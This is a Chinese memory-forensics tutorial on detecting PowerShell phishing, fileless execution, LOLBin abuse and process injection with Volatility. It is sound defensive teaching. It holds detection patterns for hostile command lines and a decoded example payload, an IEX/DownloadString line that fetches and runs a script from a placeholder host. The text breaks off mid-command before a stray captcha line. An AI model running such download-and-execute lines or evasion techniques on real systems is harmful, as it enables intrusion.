注入执行与免杀痕迹

只要代码跑起来,就必然在内存里留下痕迹——这是绕不开的物理事实,也是这里全部检测面的来源。

最后更新 2026-10-09版本 v1.0维护 DigiForensics查看历史 0

关键词:PowerShell 钓鱼、base64 编码、无文件执行、LOLBin、CreateRemoteThread、APC 注入、进程空化、线程劫持、ShimCache 难度:高级 前置知识:Windows 执行流程、PowerShell 命令行、AMSI、sysmon 事件模型、内存基础工件

一、概述

只要代码跑起来,就必然在内存里留下痕迹——这是绕不开的物理事实,也是这里全部检测面的来源。

磁盘侧的目标恰恰相反:少落一个文件是一个。少写一次注册表是一个。子进程别长得太扎眼,又是一个。

攻防两侧其实在同一块板上抢地盘——你想让内存看起来干净,取证侧就得证明它不干净。

纯磁盘分析在无文件执行面前基本失效。磁盘镜像上你看到的会是一台"什么都没发生"的机器:没有落地文件、没有新注册表键、事件日志里也只有一条再正常不过的 PowerShell 调用。内存是这类场景下唯一还能给出正面证据的介质。

定性这一步落在分析环节的后段,位于"已经定位到可疑进程"之后、"写结论"之前。上游是进程与注入检测——先在进程层与 VAD 层找到异常,再来判断具体手法与归属。

关系是双向的:采集工具加载的驱动、EDR 的响应进程,也会在内存里留下形态相似的痕迹。所以每一条判据都必须先排除自己制造的痕迹,再下结论。

九类攻击手法在内存中的载体与关键判据字段:

攻击手法 内存中的载体 关键判据字段
PowerShell 钓鱼 cmdline 里的编码参数 父进程类型、-enc/-w hidden 组合
无文件执行 VAD 中 PAGE_EXECUTE* 的私有页 malfind 命中的 MZ/PE 头
LOLBin 滥用 正常程序本体 命令行参数与子进程异常
DLL 注入 thrdscan 的远程线程 线程起始地址不落在任何已知模块
APC 注入 队列 APC 指向 APC 目标地址所属模块
进程空化 映像名与实际内容 模块路径与内存内容不符
反射式加载 内存有 PE、模块链表无 VAD 保护属性 + 模块列表交叉
持久化 内存中的注册表 hive、ShimCache shimcachemem 读出未落盘的记录

最后一行是最有价值的一处:磁盘上的 ShimCache 可能被删或被改,内存里的却是系统当前状态。硬断电时它没来得及落盘——内存侧反而成了唯一的证据来源。

据此能回答的是这些:某个进程是否被注入了代码、注入手法是哪一类、无文件载荷的 PE 是否存在于内存、持久化配置在系统当前状态下是什么样子、某条可疑命令行对应的是哪种钓鱼手法。

回答不了的是这些。它不能告诉你"用户是否知情""是否主观故意"——那是行为归因,需要落盘侧的用户行为证据配合。也不能把"内存里有痕迹"直接等同"入侵成立",痕迹归属必须先排除采集工具与安全软件。

往下读之前,先确认你已经掌握:进程与 VAD 层的基本概念、父子进程关系与命令行采集方式、以及 Windows 侧至少两类常见注入手法的原理背景。还没做过进程层定位,先看进程与注入检测;不熟悉 Windows 侧的持久化工件,先看取证工件地图。内存侧证据如何写进报告,去内存证据的可采性与报告。

二、核心原理

2.1 PowerShell 钓鱼:最高频的初始访问手法

这类攻击的核心是借一个用户信任的进程启动解释器,绕开"可执行文件白名单"。内存中的两个判据:

判据一:父子关系异常——正常是 explorer.exe → powershell.exe(用户自己开的)。

异常是 winword.exe / excel.exe / w3wp.exe / wmiprvse.exe → powershell.exe(文档钓鱼、Web 应用触发、WMI 触发)。

windows.pstree 直接呈现这个关系。这是最容易看、也最可靠的判据。

判据二:命令行特征:

参数 含义 检测价值
-enc / -EncodedCommand Base64 编码的命令 最经典的规避手法——审计工具看到的是一串 Base64,看不出内容
-nop / -NoProfile 不加载用户 profile 减少在磁盘 profile 目录留下痕迹
-w hidden 隐藏窗口运行 用户不可见
-ep bypass / -ExecutionPolicy Bypass 绕过执行策略 执行策略不是安全边界,绕过它是有意的规避行为
IEX / Invoke-Expression 动态执行字符串 本机脚本解释器在内存中生成并执行代码的标志
New-Object / [Reflection.Assembly] 内存加载 .NET 程序集 典型的无文件执行方式
DownloadString / DownloadFile 从网络下载内容 明确的 C2 通信意图
FromBase64String Base64 解码 与 -enc 配对的载荷还原

2.2 base64 载荷的还原

-enc 参数的载荷是 UTF-16LE 编码的 Base64:

PowerShell 内置(不依赖外部工具)

powershell -NoProfile -Command "[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('<BASE64字符串>'))"

取证意义:还原出的内容可能就直接包含 C2 地址、下载 URL、后续命令。

这是从"发现可疑行为"到"发现具体内容"的关键一步。还原后要作为证据固定下来(记录原始命令行 + 还原结果 + 还原方法),只还原一部分也是有效发现。

⚠️ 绝不执行还原出的内容。 它的价值在于内容本身(URL、IP、命令),不在于运行它。取证环境中任何形式的执行都是不可接受的风险。

2.3 无文件执行(Fileless)

原理:payload 不写磁盘,直接在内存中生成并执行。表现与检测方式:

表现 检测方式
内存中有完整 PE 但载荷无对应落盘文件 malfind 命中 + 磁盘镜像侧(MFT / USN 日志)查无此文件
内存分配 RWX 区域 malfind 命中
.NET 程序集在内存中加载 windows.cmdline 看到 [Reflection.Assembly]::Load
反射式加载的 shellcode malfind + 手工分析

验证标准(写报告必须做到):

内存中有 PE 映像  AND  磁盘镜像的 MFT/USN 中无对应文件记录  =  无文件执行(跨证据源证明)

⚠️ filescan 不能用来证明"磁盘无文件"(源码核实):windows.filescan 走的是 poolscanner,扫描的是内存内核池中的文件对象(_FILE pool tag),属于内存侧证据。两个方向的局限:文件刚被删除时 _FILE 对象可能仍缓存在池中未回收(命中不等于文件当前存在);文件创建于采集前、之后已关闭且对象已回收(未命中不等于文件从未存在)。因此"无文件执行"的结论必须由磁盘镜像的 MFT / $UsnJrnl:$J 支撑,filescan 只能作为辅助线索。

只满足其一都不足以定性——内存有 PE 可能只是正常程序,磁盘没文件可能是文件已被删(两种解释)。

2.4 LOLBin 滥用

LOLBin(Living Off the Land Binaries) 是 Windows 自带的合法可执行文件。用它们做坏事,不需投放任何文件。

LOLBin 滥用方式 内存中的判据
rundll32.exe 加载 DLL 的导出函数 命令行含异常 DLL 路径 + 参数
mshta.exe 执行 HTA 脚本(VBScript/JS) 命令行含 javascript: / vbscript: / 外部 URL
regsvr32.exe 加载 scrobj.dll 执行脚本 命令行含 scrobj.dll + i: 参数
certutil.exe -urlcache 下载、-decode 解码 命令行含 -urlcache 或 -decode
bitsadmin.exe / curl.exe 后台传输 / 下载 命令行含 /transfer 或外部 URL
wmic.exe 远程执行、进程创建 命令行含 /node: 或 process call create
cscript.exe / wscript.exe 执行脚本 命令行含 .vbs/.js 且脚本在临时目录

判读要点:这些程序本身完全合法。

可疑的不是"它存在",而是"它的命令行参数指向了异常的目标"——非系统目录的 DLL、临时目录的脚本、外部 URL。

内存判据比磁盘更有效:LOLBin 执行的脚本可能已被删除,但进程的命令行在内存中保留了完整原样。

2.5 注入手法与检测

手法 系统调用 内存检测 日志侧对应
经典 DLL 注入 VirtualAllocEx + WriteProcessMemory + CreateRemoteThread malfind(注入的 DLL 区域)、ldrmodules(模块链表不一致) Sysmon 事件 8(CreateRemoteThread)
APC 注入 QueueUserAPC 线程起始地址异常、windows.malware.suspicious_threads Sysmon 事件 8/10(部分场景)
进程空化 CreateProcess(SUSPENDED) + NtUnmapViewOfSection + 写入 + ResumeThread windows.malware.hollowprocesses Sysmon 事件 25(Process Tampering)
反射式加载 自定义 loader 手动映射 malfind 有 PE + ldrmodules 无对应项 无直接对应(不调用标准 API)
线程劫持 挂起线程 + 修改 EIP windows.malware.suspicious_threads(线程起始地址非预期模块) 无直接对应
进程伪装 修改 PEB 中的 ImagePath windows.malware.pebmasquerade Sysmon 事件 25
原子注入 NtCreateSection + 内存映射 malfind 可能不命中——区域权限不是 PAGE_EXECUTE_READWRITE,且模块链表中无对应项 无直接对应(不调用标准 API)

windows.malware.suspicious_threads 是个容易被忽略但很有价值的插件——它专门列出线程起始地址不在任何已知模块内的线程。这是反射式加载、线程劫持、注入的共同特征。

2.6 持久化在内存中的体现

持久化机制在磁盘上都可能被发现(注册表、任务目录、服务配置),但内存里看到的是"当前生效状态":注册表 Run/RunOnce 键、UserAssist(程序执行计数)、计划任务、服务二进制路径都可以从内存中的 hive 直接读出,命令见第七节速查。** shimcachemem:本篇的精华**

ShimCache(应用兼容性缓存)的磁盘副本是 SYSTEM hive 中的 AppCompatCache,它在系统正常关机时写入。

系统被强制断电、崩溃、或硬关机时,AppCompatCache 来不及落盘。磁盘上的 ShimCache 只反映上一次正常关机的状态。

但内存中的 ShimCache 是内核当前维护的运行时结构,它反映的是"到现在为止"运行过什么程序。 硬断电丢失的正是这一段:

磁盘 ShimCache:反映 [上次正常关机] 之前的程序执行
内存 ShimCache:反映 [开机至今] 的程序执行
                 ↑ 强制断电导致丢失的正是这一段

这是一个极强的技术点:当其他所有工件都因为断电而失真时,内存 ShimCache 提供了断电前最后一段运行历史。对应的磁盘侧分析见计算机取证 Windows 板块 06 篇。

shimcachemem 这类插件的参数与缓存机制见第 03 篇,插件选错会让整条分析线断掉。


三、操作步骤

3.1 第 1 步:全量提取命令行与父子关系

python3 vol.py -f DigiForensics-mem.raw -r csv  windows.cmdline > /work/cmdline.csv
head -1 /work/cmdline.csv        # TreeDepth,PID,Process,Args(先确认列名)
python3 vol.py -f DigiForensics-mem.raw -r pretty windows.pstree > /work/pstree.txt

3.2 第 2 步:筛选可疑命令行

PowerShell 可疑参数组合

grep -i 'powershell|pwsh' /work/cmdline.csv | grep -iE
'-enc|-nop|-w hidden|-ep bypass|-executionpolicy|FromBase64String|Invoke-Expression'

LOLBin 可疑用法:程序名正常才正常,目标异常才异常

grep -iE 'rundll32|mshta|regsvr32|certutil|bitsadmin|wmic|curl|wget' /work/cmdline.csv
| grep -iE 'http|.dll|javascript:|vbscript:|scrobj|urlcache|decode|transfer|node:'

指向异常目录的执行

grep -iE '\\AppData\\|\\Temp\\|\\ProgramData\\|\\Users\\Public\\|\\Windows\\Temp'
/work/cmdline.csv

父子关系:Office 启动 shell / 服务宿主启动非服务进程

grep -iE 'winword|excel|powerpnt|outlook' /work/pstree.txt | grep -iE 'powershell|cmd.exe|wscript|cscript|mshta|regsvr32' grep 'svchost.exe' /work/pstree.txt | grep -viE 'svchost.exe$'

3.3 第 3 步:还原 base64 载荷

提取 -enc 后的字符串并还原(只还原,不执行)

powershell -NoProfile -Command " [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAA'))" 2>/dev/null

输出:IEX (New-Object Net.WebClient).DownloadString('http://cdn-sync.example.com/a.ps1')

记录原始命令行 + 还原结果,作为固定证据

echo "原始: $(grep -oE '-enc[a-zA-Z]* [A-Za-z0-9+/=]+' <匹配行>)" >> /work/ps-payloads.txt echo "还原: IEX (New-Object Net.WebClient).DownloadString('http://cdn-sync.example.com/a.ps1')" \

/work/ps-payloads.txt

3.4 第 4 步:无文件执行的验证

1) 内存中找可疑 PE

python3 vol.py -f DigiForensics-mem.raw -r csv windows.malware.malfind > /work/malfind.csv grep -i 'PAGE_EXECUTE_READWRITE' /work/malfind.csv | head -20

2) 确认对应进程的命令行

python3 vol.py -f DigiForensics-mem.raw -r pretty windows.cmdline
| grep -iE 'Reflection.Assembly|FromBase64String|DownloadString|New-Object.*IO.MemoryStream'

3) 导出命中的区域验证 MZ 头

mkdir -p /work/mf python3 vol.py -f DigiForensics-mem.raw -o /work/mf windows.malware.malfind --dump xxd -l 4 /work/mf/pid.8124.*.dmp # 4d5a = MZ

4) filescan 只作辅助线索:确认该文件当前无活动的 _FILE 对象

python3 vol.py -f DigiForensics-mem.raw -r csv windows.filescan > /work/filescan.csv grep -ic '<可疑文件名>' /work/filescan.csv # 0 = 池中无活跃文件对象

5) 结论性证据必须来自磁盘镜像

MFT 中无该文件记录 或 $UsnJrnl:$J 显示 create+delete 成对出现

3.5 第 5 步:注入手法综合排查

python3 vol.py -f DigiForensics-mem.raw -r pretty windows.malware.ldrmodules --pid <PID> python3 vol.py -f DigiForensics-mem.raw -r pretty windows.malware.hollowprocesses python3 vol.py -f DigiForensics-mem.raw -r pretty windows.malware.pebmasquerade python3 vol.py -f DigiForensics-mem.raw -r pretty windows.malware.suspicious_threads python3 vol.py -f DigiForensics-mem.raw -r csv windows.malware.psxview | grep -E ',False,' # 摘链进程

原子注入:权限是 RW 而非 RWX,标准 malfind 会漏检 → 用 YARA 补充

python3 vol.py -f DigiForensics-mem.raw -r pretty windows.vadyarascan --yara-file /work/rules.yar

摘链进程(详见第 05 篇)

python3 vol.py -f DigiForensics-mem.raw -r csv windows.malware.psxview | grep -E

安全验证 当前请求需要先完成一次滑块验证。